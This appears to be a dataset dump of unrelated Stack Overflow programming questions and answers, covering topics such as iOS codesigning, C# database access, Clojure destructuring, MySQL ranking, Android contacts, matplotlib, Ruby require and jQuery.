-u,--update-app &lt;true-or-false&gt; [OPTIONAL] When true, will reinstall the app if the device contains an older version than the bundle specified DEFAULT=1 -c,--codesign-identity &lt;codesign-identity&gt; [OPTIONAL] Identity used to codesign app bundle [device only] DEFAULT= -a,--app-bundle &lt;path/to/app-bundle.app&gt; Path .app bundle (for .ipas, unzip and look inside of 'Payload') -d,--device-id &lt;device-identifier&gt; iOS Simulator GUID or 40-digit physical device ID </code></pre> <p>Which gave me at least some more info, as it said it is related to code singing. I am sure that my certificats are valid. So my open questions:</p> <ul> <li>Can I tell run_loop to use a different identifier for resigning DeviceAgent-Runner.app, because I can't use a wildcard certificate (company policy).</li> <li><p>Or any other ideas how to continue from this point</p> <p>Thanks!</p></li> </ul>
4134721	0	 <p>The php code you show (which really just sends the work to convert in a shell) does not check to see if the images have alpha channels, it just takes whatever file is given and turns it on. If it already had one there would be no file change, but convert is not being asked to make any decision based on the status, just go ahead and add the channel.</p>
24952969	0	RadEditor is not working in IE11 <p>I am working on <code>Telerik RadEditor</code> control but it is not working in <code>IE11</code> although it is working fine in <code>IE8</code>. Below tag, I am using to work with <code>IE9</code> and <code>IE10</code> and It works </p> <pre><code>meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" /&gt; </code></pre> <p>But, When I use <code>IE11</code> then RadEditor is not showing in proper format. </p> <pre><code>Namespace="Telerik.WebControls" Assembly="RadEditor.Net2" </code></pre> <p>Can someone tell me, what is the problem with <code>IE11</code></p>
17459810	0	 <p>Your question is not clear enough, However lets say that the code above is working. </p> <p>You want to add the result every time you preforms this operation (I assume).<br> again assuming you're using windows forms.<br> put a comboBox on your form. </p> <p>then when preforming the operation you need to keep a list of what you got before then use it as dataSource for the comboBox. The code below demonstrate this:</p> <pre><code> List&lt;string&gt; dataList = new List&lt;string&gt;(); // this line is global not inside a closed scoop var myDataTable = new System.Data.DataTable(); using (var conection = new System.Data.OleDb.OleDbConnection("Provider=Microsoft.JET.OLEDB.4.0;" + "data source="+foldername+"\\Program\\Ramdata.mdb;Jet OLEDB:Database Password=****")) { conection.Open(); var query = "Select u_company From t_user"; var command = new System.Data.OleDb.OleDbCommand(query, conection); var reader = command.ExecuteReader(); while (reader.Read()) { profselect.Text = reader[0].ToString(); dataList.Add(profselect.Text); } } myComboBox.DataSource = dataList; myComboBox.SelectedText = dataList.Last(); </code></pre> <p>that as far as I can help with this much information you gave. </p>
36683726	0	Failed to find Build Tools revision 23.0.1 <p>Hello i am trying to build my first app with react-native. I am following this 2 tutorial: <a href="https://facebook.github.io/react-native/docs/getting-started.html#content" rel="nofollow noreferrer">https://facebook.github.io/react-native/docs/getting-started.html#content</a> <a href="https://facebook.github.io/react-native/docs/android-setup.html" rel="nofollow noreferrer">https://facebook.github.io/react-native/docs/android-setup.html</a> I am sure that i installed all the required things in the second link and when i try running my app with "react-native run-android" I get the following error: <a href="https://i.stack.imgur.com/RBAfL.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RBAfL.jpg" alt="Error"></a></p> <p>I executed this command while I am running genymotion. This is all that i have installed in android sdk.</p> <p><a href="https://i.stack.imgur.com/TsXGk.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TsXGk.jpg" alt="enter image description here"></a></p> <p><a href="https://i.stack.imgur.com/MPQEj.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MPQEj.jpg" alt="enter image description here"></a></p> <p>I tried to install Android build tools 23.0.1 but i get this: <a href="https://i.stack.imgur.com/07SY9.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/07SY9.jpg" alt="enter image description here"></a></p> <p>Any help or advice I would be very grateful Thanks!</p>
35669173	0	Clojure destructure map using :keys with qualified keywords not working <p>I've tried this with both 1.7.0 and 1.8.0 and it appears that Clojure does not destructure maps using <code>:keys</code> whose keys are fully qualified. I don't think it has to do with being in the tail on the arguments as it doesn't work when I switch around the function argument positions as well.</p> <pre><code>(ns foo.sandbox) (def foo ::foo) (def bar ::bar) (defn normalize-vals [mmap &amp; [{:keys [foo bar] :as ops}]] (println "normalize-vals " ops " and foo " foo " bar" bar)) (normalize-vals {} {foo 1 bar 2}) =&gt; normalize-vals {:foo.sandbox/foo 1, :foo.sandbox/bar 2} and foo nil bar nil </code></pre> <p>However; this works:</p> <pre><code> (defn normalize-vals [mmap &amp; [{a foo b bar :as ops}]] (println "normalize-vals " ops " and foo " a " bar" b)) (normalize-vals {} {foo 1 bar 2}) =&gt; normalize-vals {:cmt.sandbox/foo 1, :cmt.sandbox/bar 2} and foo 1 bar 2 </code></pre> <p>Is this a defect?</p>
9728419	0	 <p>It depends if you are using any MVVM model or not.</p> <p>My suggestion, if you are not using a MVVM, is to use Blend Sample data, is fast and quick.</p> <p>If you are MVVM Light I've found very usefull to create two files: DataService.cs - contains the real connection and data DesignDataService.cs - contains the sample data</p> <p>The two libraries are identical, from an call perspective so that in the ViewModelLocator you can swap them:</p> <pre class="lang-csh prettyprint-override"><code> if (ViewModelBase.IsInDesignModeStatic) { SimpleIoc.Default.Register&lt;IDataService, Design.DesignDataService&gt;(); } else { //SimpleIoc.Default.Register&lt;IDataService, Design.DesignDataService&gt;(); SimpleIoc.Default.Register&lt;IDataService, DataService&gt;(); } </code></pre> <p>In the Design class I've decided to create an XML file for each Model so that it's easy to change the sample data and test all possible scenarios.</p> <p>I then use the Deserialize function to read it:</p> <pre class="lang-csh prettyprint-override"><code> csNodeList _Copyrights = new csNodeList(); resource = System.Windows.Application.GetResourceStream(new Uri(@"Design/sampledata.xml", UriKind.Relative)); streamReader = new StreamReader(resource.Stream); serializer = new XmlSerializer(typeof(csNodeList)); _Copyrights = (csNodeList)serializer.Deserialize(streamReader); </code></pre> <p>Please note that the file sampledata.xml has to be stored in folder Design and must be defined as Content not as Resource. It is suggested to improve performance and load time.</p> <p>M</p>
13269086	0	 <pre><code>LabelField RateDeal = new LabelField("Rating: "); HorizontalFieldManager StarManager=new HorizontalFieldManager(USE_ALL_WIDTH); final Bitmap StarNotClicked = Bitmap.getBitmapResource("rating_star.png"); final Bitmap StarClicked = Bitmap.getBitmapResource("rating_star_focus.png"); Star1 = new BitmapField(StarNotClicked,BitmapField.FOCUSABLE){ protected boolean navigationClick(int status, int time){ fieldChangeNotify(1); Star1.setBitmap(StarClicked); Star2.setBitmap(StarNotClicked); Star3.setBitmap(StarNotClicked); Star4.setBitmap(StarNotClicked); Star5.setBitmap(StarNotClicked); AmountOfStarsSelected(1); return true; } }; Star2 = new BitmapField(StarNotClicked,BitmapField.FOCUSABLE){ protected boolean navigationClick(int status, int time){ fieldChangeNotify(1); Star1.setBitmap(StarClicked); Star2.setBitmap(StarClicked); Star3.setBitmap(StarNotClicked); Star4.setBitmap(StarNotClicked); Star5.setBitmap(StarNotClicked); AmountOfStarsSelected(2); return true; } }; Star3 = new BitmapField(StarNotClicked,BitmapField.FOCUSABLE){ protected boolean navigationClick(int status, int time){ fieldChangeNotify(1); Star1.setBitmap(StarClicked); Star2.setBitmap(StarClicked); Star3.setBitmap(StarClicked); Star4.setBitmap(StarNotClicked); Star5.setBitmap(StarNotClicked); AmountOfStarsSelected(3); return true; } }; Star4 = new BitmapField(StarNotClicked,BitmapField.FOCUSABLE){ protected boolean navigationClick(int status, int time){ fieldChangeNotify(1); Star1.setBitmap(StarClicked); Star2.setBitmap(StarClicked); Star3.setBitmap(StarClicked); Star4.setBitmap(StarClicked); Star5.setBitmap(StarNotClicked); AmountOfStarsSelected(4); return true; } }; Star5 = new BitmapField(StarNotClicked,BitmapField.FOCUSABLE){ protected boolean navigationClick(int status, int time){ fieldChangeNotify(1); Star1.setBitmap(StarClicked); Star2.setBitmap(StarClicked); Star3.setBitmap(StarClicked); Star4.setBitmap(StarClicked); Star5.setBitmap(StarClicked); AmountOfStarsSelected(5); return true; } }; StarManager.add(Star1); StarManager.add(Star2); StarManager.add(Star3); StarManager.add(Star4); StarManager.add(Star5); add(StarManager); </code></pre>
31307335	0	 <p>If you're using AngularJS and already have a build step, <a href="https://www.npmjs.com/package/gulp-ng-html2js" rel="nofollow">html2js</a> could help you with turning HTML templates into JS, which can then be concat'd and minified.</p>
17487809	0	Sort table by reputation and select rank + LIMIT to print above and below rows <p>I am trying to sort the table by the reputation and then select the position of the row [rank], it works fine, but I would like to print out 3 tables above and 3 tables below this rank row, but LIMIT rank,6 does not work :/ (Im sorry for that wrong formatted SQL :/) Would be thankful for every help :)</p> <p>Here is what is working:</p> <pre><code>$query = mysqli_query($con, "SET @rank=0"); $query = mysqli_query($con, " SELECT rank, user_email, reputation FROM ( SELECT @rank:=@rank+1 AS rank, user_email, reputation FROM accounts, (SELECT @rank := 0) r ORDER BY reputation DESC LIMIT 0,7 ) t WHERE reputation &gt;= '5' OR reputation &lt; '5'"); </code></pre> <p>prints </p> <pre><code>[rank] [user_email] [reputation] 1 mail1@gmail.com 20 2 test@test.com 15 3 mail2@gmail.com 10 4 othermail@gmail.com 5 5 hmmmmm@gmail.com 0 6 ouch@gmail.com 0 7 somemail@gmail.com 0 </code></pre>
18802773	0	Android doesn't deliver correct PHOTO_URI <p>I am using a <code>QuickContactBadge</code>. Now I get this messages on a Sony Xperia P. I developed the app on CyanogenMod and eveything was fine.</p> <pre><code>Unable to open content: content://com.android.contacts/contacts/939/photo java.io.FileNotFoundException: content://com.android.contacts/contacts/939/photo </code></pre> <p>This is my code:</p> <pre><code>projection = new String[] { ContactsContract.CommonDataKinds.Phone._ID, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.CommonDataKinds.Phone.PHOTO_URI }; contactCursor = getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, projection, null, null, null); ... thumbnail = contactCursor.getString(contactCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.PHOTO_URI)); ... quickContactBadge.setImageURI(Uri.parse(ThumbnailString)); </code></pre> <p>My suggestion was that the Sony ROM doesn't deliver an valid PHOTO_URI but it looks legit.</p>
21879242	0	 <p>The unique event count for an action is the number of visits in which that action took place.</p> <p>The total unique events in this report should equal the sum of unique events on all rows, not the number of rows. This is because a unique event is based on unique action-visit combinations, and each row has a different action.</p> <p>In other words, if an action is repeated within a visit, the unique event count is not incremented, but otherwise it is.</p> <p>So if one of the rows has 2 unique events that would mean that the event action was triggered in 2 separate visits, and both these visits would be included in the overall unique events.</p> <p>In your example, the first 10 actions in your report only occurred for 1 visit each (they may even have all been the same visit - you can't tell from this report).</p> <p>So I'm guessing that on the second page of your example there are two rows with 0 unique events, and the rest have 1 unique event - so that they add up to 21 unique events.</p>
29399590	0	 <p>Yes, you can do this, but it needs to be done through a separate mechanism than the <code>c</code> argument. In a nutshell, use <code>facecolors=rgb_array</code>.</p> <hr> <p>First off, let me explain what's going on. The <code>Collection</code> that <code>scatter</code> returns has two "systems" (for lack of a better term) for setting colors.</p> <p>If you use the <code>c</code> argument, you're setting the colors through the <code>ScalarMappable</code> "system". This specifies that the colors should be controlled by applying a colormap to a single variable. (This is the <code>set_array</code> method of anything that inherits from <code>ScalarMappable</code>.)</p> <p>In addition to the <code>ScalarMappable</code> system, the colors of a collection can be set independently. In that case, you'd use the <code>facecolors</code> kwarg.</p> <hr> <p>As a quick example, these points will have randomly specified rgb colors:</p> <pre><code>import matplotlib.pyplot as plt import numpy as np x, y = np.random.random((2, 10)) rgb = np.random.random((10, 3)) fig, ax = plt.subplots() ax.scatter(x, y, s=200, facecolors=rgb) plt.show() </code></pre> <p><img src="https://i.stack.imgur.com/PTY2v.png" alt="enter image description here"></p>
14615048	0	 <p>Can you give a rating with a number keystroke?</p> <pre><code>tell application "System Events" to keystroke "5" </code></pre>
18888969	0	 <p>Yeh I got it, thanks @jeff for the clue, here is the answer.</p> <p>remove the "echo" error from the string</p> <pre><code> { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } </code></pre> <p>its look like this;;</p> <pre><code> { . mysqli_connect_error(); } </code></pre>
26389463	0	Customize table with jquery <p>I want to design a customize table layout. For example after adding data my table is created. Now I am showing column name in one column and column data in another column, I want to add functionality if I drag one row to third column, Then column structure will be modified and that row will be added to new column.</p> <p>For example: This is my table: <a href="http://jsfiddle.net/x8L57md2/" rel="nofollow">jsfiddle.net/x8L57md2/</a></p> <p>code:- </p> <pre><code> &lt;tr&gt; &lt;td&gt;Name&lt;/td&gt; &lt;td&gt; Ankur &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Address&lt;/td&gt; &lt;td&gt;jaipur&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;State&lt;/td&gt; &lt;td&gt; Rajasthan&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Country&lt;/td&gt; &lt;td&gt;India&lt;/td&gt; &lt;/tr&gt; &lt;table&gt; </code></pre> <p>If I move state column to right side of ankur(name) then another table column will be created and append it to table with data.</p> <p>Like this: <a href="http://jsfiddle.net/ttzr2ezh/" rel="nofollow">jsfiddle.net/ttzr2ezh/</a></p> <p>code:-</p> <pre><code> &lt;table border="1"&gt; &lt;tr&gt; &lt;td&gt;Name&lt;/td&gt; &lt;td&gt; Ankur &lt;/td&gt; &lt;td&gt;State&lt;/td&gt; &lt;td&gt; Rajasthan&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Address&lt;/td&gt; &lt;td&gt;jaipur&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Country&lt;/td&gt; &lt;td&gt;India&lt;/td&gt; &lt;/tr&gt; &lt;table&gt; </code></pre>
8892831	1	How to emulate os.path.samefile behaviour on Windows and Python 2.7? <p>Given two paths I have to compare if they're pointing to the same file or not. In Unix this can be done with <code>os.path.samefile</code>, but as documentation states it's not available in Windows. What's the best way to emulate this function? It doesn't need to emulate common case. In my case there are the following simplifications:</p> <ul> <li>Paths don't contain symbolic links.</li> <li>Files are in the same local disk.</li> </ul> <p>Now I use the following:</p> <pre><code>def samefile(path1, path2) return os.path.normcase(os.path.normpath(path1)) == \ os.path.normcase(os.path.normpath(path2)) </code></pre> <p>Is this OK?</p>
38269664	0	How to improve resized image quality in gtk+3 c? <p>I use this code for resize an image in gtk+3 c:</p> <pre><code>void set_img_zoom() { GdkPixbuf *img1buffer_resized; img1buffer_resized = gdk_pixbuf_scale_simple(img1buffer, width, height, GDK_INTERP_NEAREST); gtk_image_set_from_pixbuf(GTK_IMAGE(img1), img1buffer_resized); //set crop area to zero dest_width = 0; dest_height = 0; } </code></pre> <p>This is my oroginal image:</p> <p><a href="https://i.stack.imgur.com/1tmeA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1tmeA.png" alt="enter image description here"></a></p> <p>but when size of image is big, the image quality is disturbed when I resize it:</p> <p><a href="https://i.stack.imgur.com/8qqkV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8qqkV.png" alt="enter image description here"></a></p> <p>I change <code>GDK_INTERP_NEAREST</code> to another but it doesn't well done. how to improve it?</p>
38586206	0	 <p>Got the answer:</p> <p>When trying to upload file using IE, its taking my filename as <code>C:\Users\user_name\Downloads\myfile.csv</code> instead of <code>myfile.csv</code></p> <p>so replaced <code>this.GetCmp&lt;FileUploadField&gt;("FileUpload").PostedFile.FileName</code> with <code>Path.GetFileName(this.GetCmp&lt;FileUploadField&gt;("FileUpload").PostedFile.FileName)</code> in <code>client.UploadFile(..)</code> above.</p>
23780917	0	 <pre><code>awk '{print $1,$2,$10,$8}' file </code></pre>
241765	0	 <p>My company is using Amazon EC2 now and I am down at the PDC watching the details on Azure unfold. I have not seen anything yet that would convince us to move away from Amazon. Azure definitely looks compelling, but the fact is I can now utilize Windows and SQL server on Amazon with SLAs in place. Ray Ozzie made it clear that Azure will be changing A LOT based on feedback from the developer community. However, Azure has a lot of potential and we'll be watching it closely.</p> <p>Also, Amazon will be adding load balancing, autoscaling and dashboard features in upcoming updates to the service (see this link: <a href="http://aws.amazon.com/contact-us/new-features-for-amazon-ec2/" rel="nofollow noreferrer">http://aws.amazon.com/contact-us/new-features-for-amazon-ec2/</a>). Never underestimate Amazon as they have a good headstart on Cloud Computing and a big user base helping refine their offerings already. Never underestimate Microsoft either as they have a massive developer community and global reach.</p> <p>Overall I do not think the cloud services of one company are mutually exclusive from one another. The great thing is that we can leverage all of them if we want to.</p> <p>Microsoft should offer up the ability to host Linux based servers in their cloud. That would really turn the world upside down!</p>
16821194	0	 <p>This could happen when the Selenium Server version that you have does not support the Firefox browser version. Try using a stable compatible combination of Firefox Browser and Selenium Server.</p>
17191465	0	 <p>Use <code>Base64.NO_WRAP</code> flag to strip line breaks</p> <p>Use 90 quality when compressing will greatly reduce the output size. the length of the output will be 4/3 times of the length of the byte array</p>
1687326	0	Unable to create snapshot of Canvas <p>In my application a canvas object has height = 90 px &amp; width = 86400 px (indicating number of seconds in a day [60 * 60 * 24] ). The canvas is scrollable and the user can add or delete components in that.</p> <p>Now, I want to have snapshot of the whole canvas &amp; shrink it to size 910x30 to draw taken snapshot in another canvas.</p> <p>Can anybody tell me how to take snapshot of such large Component?</p> <p>I have tried to take snapshot in BitmapData object but as it max width is 2880 can not give whole canvas snapshot.</p> <p>Is there any other Idea possible, if yes please let me know.</p> <p>Suggestions are welcome. </p>
22946850	0	Evolutionary Artificial Intelligence in Video Games <p>I had an idea pertaining to the use of Artificial Intelligence on a larger scale then most games. The idea is to train and score agents in a game against players, then the data is sent back to a server where it can be scored for fitness and then added to the pool for evolutionary selection. At that point the new agents would be redistributed to the players to be trained and scored by the players again.</p> <p>I am thinking this would be a good use for possibly a neural network or finite state machine that is evolved in a co-evolutionary manner (AI = predator, Players = prey). What I want to know is: </p> <p>1) Are there any papers or examples of this happening already in games? I haven't been able to find any examples.</p> <p>2) Does it seem like this approach would be any better then the traditional approach to AI in games?</p> <p>I am working on a Tactical Turn-based Strategy and thought that this could add a new dimension to gameplay if I can pull it off.</p>
27245096	0	 <p>For a working doodle/proof of concept of an approach to utilize pure JavaScript along with the familiar and declarative pattern behind XSLT's matching expressions and recursive templates, see <a href="https://gist.github.com/brettz9/0e661b3093764f496e36" rel="nofollow">https://gist.github.com/brettz9/0e661b3093764f496e36</a></p> <p>(A similar approach might be taken for JSON.)</p> <p>Note that the demo also relies on JavaScript 1.8 expression closures for convenience in expressing templates in Firefox (at least until the ES6 short form for methods may be implemented).</p> <p>Disclaimer: This is my own code.</p>
2055364	0	 <p><code>getText()</code> is returning null, so you're writing "null" down to the server. At least, that's what I found after changing your just enough to get it to compile and run.</p> <p>After changing <code>getText()</code> to return "hello" I got:</p> <p>Server:</p> <pre><code>Server is starting... Server is listening... Client Connected... </code></pre> <p>Client:</p> <pre><code>java.io.BufferedReader@7d2152e6 Text received: hello </code></pre> <p>(The "BufferedReader@7d..." line is due to <code>System.out.println(is);</code>)</p> <p>Note that after the client has disconnected, your server is going to keep trying to send "null" back to it, because you don't test for <code>line</code> being null in the server code.</p>
11923689	0	 <p>You can implement an interface (say <code>Printable</code>) and use that interface as parameter type in your static method.</p>
1329167	0	 <p>When you <code>require 'something'</code> Ruby searches for a file called either <code>something.rb</code> or <code>something.dll/so/bundle</code> depending on your platform.</p> <p>In case it finds a library <code>dll/so/bundle</code> it dynamically loads it and search for a symbol called <code>Init_something</code>. The convention when creating a native extension is to include such a function which gets used by the ruby interpreter to hook things up.</p> <p>Where (in which directories) the intrepeter looks for rb files and libs is determined by the load path, which you can append using the -I options of the interpreter. At runtime, the current load path is in <code>$:</code> (you can append further directories to this at runtime as well), for example:</p> <pre><code>$ irb irb(main):001:0&gt; puts $: /opt/local/lib/ruby/site_ruby/1.8 /opt/local/lib/ruby/site_ruby/1.8/i686-darwin9 /opt/local/lib/ruby/site_ruby /opt/local/lib/ruby/vendor_ruby/1.8 /opt/local/lib/ruby/vendor_ruby/1.8/i686-darwin9 /opt/local/lib/ruby/vendor_ruby /opt/local/lib/ruby/1.8 /opt/local/lib/ruby/1.8/i686-darwin9 . </code></pre> <p>have a look at the documentation of require (<a href="http://ruby-doc.org/core-1.8.7/classes/Kernel.html#M001077" rel="nofollow noreferrer">http://ruby-doc.org/core-1.8.7/classes/Kernel.html#M001077</a>)</p> <p>I'm not sure what you mean by:</p> <blockquote> <p>P.S. The only exposed part of Ruby I have to work with right now is 'msvcrt-ruby18.dll'</p> </blockquote> <p>Also you mentioned something about sandboxing. This may interfere with your ability to require modules. Search for $SAFE, if $SAFE is set to >2 you won't be able to use <code>require</code> at all.</p>
9616077	0	 <p>If your interests are machine learning, data mining and computer vision then I'd say a Lego mindstorms is not the best option for you. Not unless you are also interested in robotics/electronics.</p> <ul> <li>Do do interesting machine learning you only need a computer and a problem to solve. Think <a href="http://aichallenge.org/">ai-contest</a> or <a href="http://mlcomp.org/">mlcomp</a> or similar.</li> <li>Do do interesting data mining you need a computer, a lot of data and a question to answer. If you have an internet connection the amount of data you can get at is only limited by your bandwidth. Think <a href="http://www.netflixprize.com/">netflix prize</a>, try your hand at collecting and interpreting data from wherever. If you are learning, <a href="http://www.autonlab.org/tutorials/">this is a nice place to start</a>.</li> <li>As for computer vision: All you need is a computer and images. Depending on the type of problem you find interesting you could do some processing of <a href="http://www.opentopia.com/hiddencam.php">random webcam images</a>, take all you holiday photo's and try to detect <a href="https://en.wikipedia.org/wiki/Face_detection">where all your travel companions are</a> in them. If you have a webcam your options are endless.</li> </ul> <p>Lego mindstorms allows you to combine machine learning and computer vision. I'm not sure where the datamining would come in, and you will spend (waste?) time on the robotics/electronics side of things, which you don't list as one of your passions. </p>
27932129	0	 <pre><code>{ "C:\\workspace\\folder\\test\\added.txt": "synced", "C:\\workspace\\folder\\test\\pending.test": "pending" } </code></pre> <p>Your JSON needs those backslashes escaped. Notice the \\</p> <p><a href="http://json.org/" rel="nofollow">http://json.org/</a></p>
3288143	0	 <p>From the cocos2d <a href="http://github.com/cocos2d/cocos2d-iphone/blob/454d1753ea73b37dbde4d686a876a542a65e4677/tests/drawPrimitivesTest.m" rel="nofollow noreferrer">drawPrimitivesTest.m</a>:</p> <pre><code>- (void)draw { // ... // draw a simple line // The default state is: // Line Width: 1 // color: 255,255,255,255 (white, non-transparent) // Anti-Aliased glEnable(GL_LINE_SMOOTH); ccDrawLine( ccp(0, 0), ccp(s.width, s.height) ); // ... } </code></pre>
13993694	0	Jquery push all li's ID's into array <p>I need to push all my ID's into an array, both ways I've tried this only pushes the first ID into the array:</p> <pre><code> var some = []; $('ul#jdLists li').each(function () { some.push([$('ul#jdLists li').attr("id")]); }); </code></pre> <p>This returns the correct number of items in the array but with the ID of the first li</p> <p>or</p> <pre><code> var some = []; some.push([$('ul#jdLists li').attr("id")]); </code></pre> <p>this returns a single item with the first li ID</p> <p>thanks</p>
26851521	0	 <p>You can replace enter keys with space in select statement, and then export to Excel</p>
26492272	0	 <p>Sitecore has a special edition that was design for Azure. </p> <p><a href="http://www.sitecore.net/azure" rel="nofollow">Sitecore Azure Edition</a></p>
18845404	0	 <p>template.Write(new FileStream("c:/path", FileMode.Create, FileAccess.ReadWrite));</p>
19743559	0	 <p>EDIT: apparently this doesn't work, despite Google's documentation.</p> <p>According to <a href="http://developer.android.com/distribute/googleplay/promote/linking.html#android-app" rel="nofollow">developer.android's guide to Linking to Your Products</a>, if the HTML link to the app is <a href="http://play.google.com/store/apps/details?id=package_name" rel="nofollow">http://play.google.com/store/apps/details?id=package_name</a>, the corresponding Android link would be market://details?id=package_name. This should link users directly to a specific app's product details page on Google Play.</p>
22157411	0	Javascript drop list with images <p>I found this on one of the subjects: <a href="http://jsfiddle.net/GHzfD/357/" rel="nofollow">http://jsfiddle.net/GHzfD/357/</a> I would like to ask how to alert(path) after choose the image from drop list.</p> <pre><code>&lt;script&gt; $("body select").msDropDown(); alert(???) &lt;/script&gt; </code></pre>
20897900	0	 <p><code>pip search</code> command does not show installed packages, but search packages in pypi.</p> <p>Use <code>pip freeze</code> command and <code>grep</code> to see installed packages:</p> <pre><code>pip freeze | grep Django </code></pre>
28529215	0	 <p>in onCreateDialog, I forgot to set the listener: dialogObj.setOnShowListener(this).</p>
28608911	0	 <p>This is a great use case for either <code>by</code> or <code>lapply</code> rather than a <code>for</code>-loop. Basically, the result is the same, but without the overhead of writing a loop, iterating over it, and storing the results appropriate. Here's a simple example like yours that uses the built-in <code>mtcars</code> dataset:</p> <pre><code>b &lt;- by(mtcars, mtcars$gear, FUN = function(d) xtabs(~cyl + vs + am, data = d)) l &lt;- lapply(split(mtcars, mtcars$gear), FUN = function(d) xtabs(~cyl + vs + am, data = d)) </code></pre> <p>We can use <code>str</code> to take a look at what we created:</p> <pre><code>&gt; str(b, 1) List of 3 $ 3: xtabs [1:3, 1:2, 1] 0 0 12 1 2 0 ..- attr(*, "dimnames")=List of 3 ..- attr(*, "class")= chr [1:2] "xtabs" "table" ..- attr(*, "call")= language xtabs(formula = ~cyl + vs + am, data = d) $ 4: xtabs [1:2, 1:2, 1:2] 0 0 2 2 0 2 6 0 ..- attr(*, "dimnames")=List of 3 ..- attr(*, "class")= chr [1:2] "xtabs" "table" ..- attr(*, "call")= language xtabs(formula = ~cyl + vs + am, data = d) $ 5: xtabs [1:3, 1:2, 1] 1 1 2 1 0 0 ..- attr(*, "dimnames")=List of 3 ..- attr(*, "class")= chr [1:2] "xtabs" "table" ..- attr(*, "call")= language xtabs(formula = ~cyl + vs + am, data = d) - attr(*, "dim")= int 3 - attr(*, "dimnames")=List of 1 - attr(*, "call")= language by.data.frame(data = mtcars, INDICES = mtcars$gear, FUN = function(d) xtabs(~cyl + vs + am, data = d)) - attr(*, "class")= chr "by" &gt; str(l, 1) List of 3 $ 3: xtabs [1:3, 1:2, 1] 0 0 12 1 2 0 ..- attr(*, "dimnames")=List of 3 ..- attr(*, "class")= chr [1:2] "xtabs" "table" ..- attr(*, "call")= language xtabs(formula = ~cyl + vs + am, data = d) $ 4: xtabs [1:2, 1:2, 1:2] 0 0 2 2 0 2 6 0 ..- attr(*, "dimnames")=List of 3 ..- attr(*, "class")= chr [1:2] "xtabs" "table" ..- attr(*, "call")= language xtabs(formula = ~cyl + vs + am, data = d) $ 5: xtabs [1:3, 1:2, 1] 1 1 2 1 0 0 ..- attr(*, "dimnames")=List of 3 ..- attr(*, "class")= chr [1:2] "xtabs" "table" ..- attr(*, "call")= language xtabs(formula = ~cyl + vs + am, data = d) </code></pre> <p>In this case, I think the result from <code>lapply</code> is probably closer to what you're going for, but (as you can hopefully see) the structures are very similar - both are lists of <code>xtabs</code> objects.</p>
16369706	0	 <p>If it still crashes then try out</p> <p>move dword[stak],esp ;at the very start</p> <p>and end with</p> <p>mov esp,[stak]</p> <p>ret</p> <p>kinda thing</p> <p>gl</p>
38072975	0	 <p><strong>NCover</strong> is a .Net tool for code coverage checking for .Net programs. You can use its latest version for both 32-bit and 64-bit operating systems. This tool can perform manual as well as automated code coverage tests for .Net programs. Using NCover may speed up your tests, providing you with nice and attractive multiple testing environments. Key Features: supports statement coverage and branch coverage, very fast tool, simple to use, provides better code quality, supports 32 &amp; 64-bit OS, auto upgrade and update notifications for new service License: Floating License Latest Version: NCover 4.5.2745.646 Tool for: .Net programs Download NCover</p> <p><strong>Emma</strong> is a free and open source code coverage tool. Emma checks and reports for code coverage in a source code of a Java program. Emma can check code coverage for: class, method, line, package, etc. This code coverage tool is purely for Java programs. Among popular code coverage tools, it is a preferred choice of many users. Key Features: fast tool, good for large scale software development projects, ability to detect partially created source code line for code coverage, provide reports in plain text, HTML, and XML formats Developer(s): Vlad Roubtsov License: Common Public License Latest Version: Emma 2.1 Tool for: Java programs Platform Supported: Cross Platform Download Emma</p> <p><strong>OpenCover</strong> is a free and open source tool for code coverage checking for .Net programs. It checks for code coverage of tests in minimum time. OpenCover acquires less memory and can generate nice HTML, XML coverage reports. It is one of the best code coverage tools for generating nice output reports. Key Features: supports Silverlight, supports 32 &amp; 64-bit OS, supports statement coverage and branch coverage, excellent coverage reports generation License: MIT Licence Latest Version: OpenCover 4.5.3207 Tool for: .Net programs Download NCover</p> <p>And some tools like</p> <ol> <li>Jester</li> <li>JVMDI Code Coverage Analyser</li> <li>PIT</li> </ol>
19483833	0	jQuery won't fade in span <p>I have some trouble fading in a span after hiding it and replacing it's contents.</p> <p>Here is my html before replacing it</p> <pre><code>&lt;span id="replace_with_editor"&gt; &lt;a id="edit_button" class="btn btn-success" href="thread.php"&gt;Post ny tråd&lt;/a&gt; &lt;/span&gt; </code></pre> <p>Here is my jQuery code</p> <pre><code>replace_with_editor = $('#replace_with_editor'); $('#edit_button').click(function(e) { e.preventDefault(); replace_with_editor.hide(); replace_with_editor.html('&lt;form role="form" method="post" action="process/submit_thread.php"&gt;&lt;div class="form-group"&gt;&lt;label for="Title"&gt;Tittel&lt;/label&gt;&lt;input id="thread_title" name="thread_title" type="text" class="form-control" placeholder="Skriv en tittel for tråden."&gt;&lt;/div&gt;&lt;div class="form-group"&gt;&lt;label for="Svar"&gt;Tråd&lt;/label&gt;&lt;textarea id="thread_editor" name="thread_content" rows="10" class="form-control"&gt;&lt;/textarea&gt;&lt;/div&gt;&lt;input type="hidden" value="category_id" name="category_id"&gt;&lt;input type="hidden" value="forum_id" name="forum_id"&gt;&lt;button type="submit" class="btn btn-success"&gt;Post tråd&lt;/button&gt;&lt;/form&gt;'); replace_with_editor.fadeIn(2000); }); </code></pre> <p>For some reason when i try this script, the new content shows up but the fadeIn() doesnt work, it shows up instant.</p> <p>Any guess what i am doing wrong? Oh and the jQuery is not nested because of debugging. Any help is much appreciated.</p>
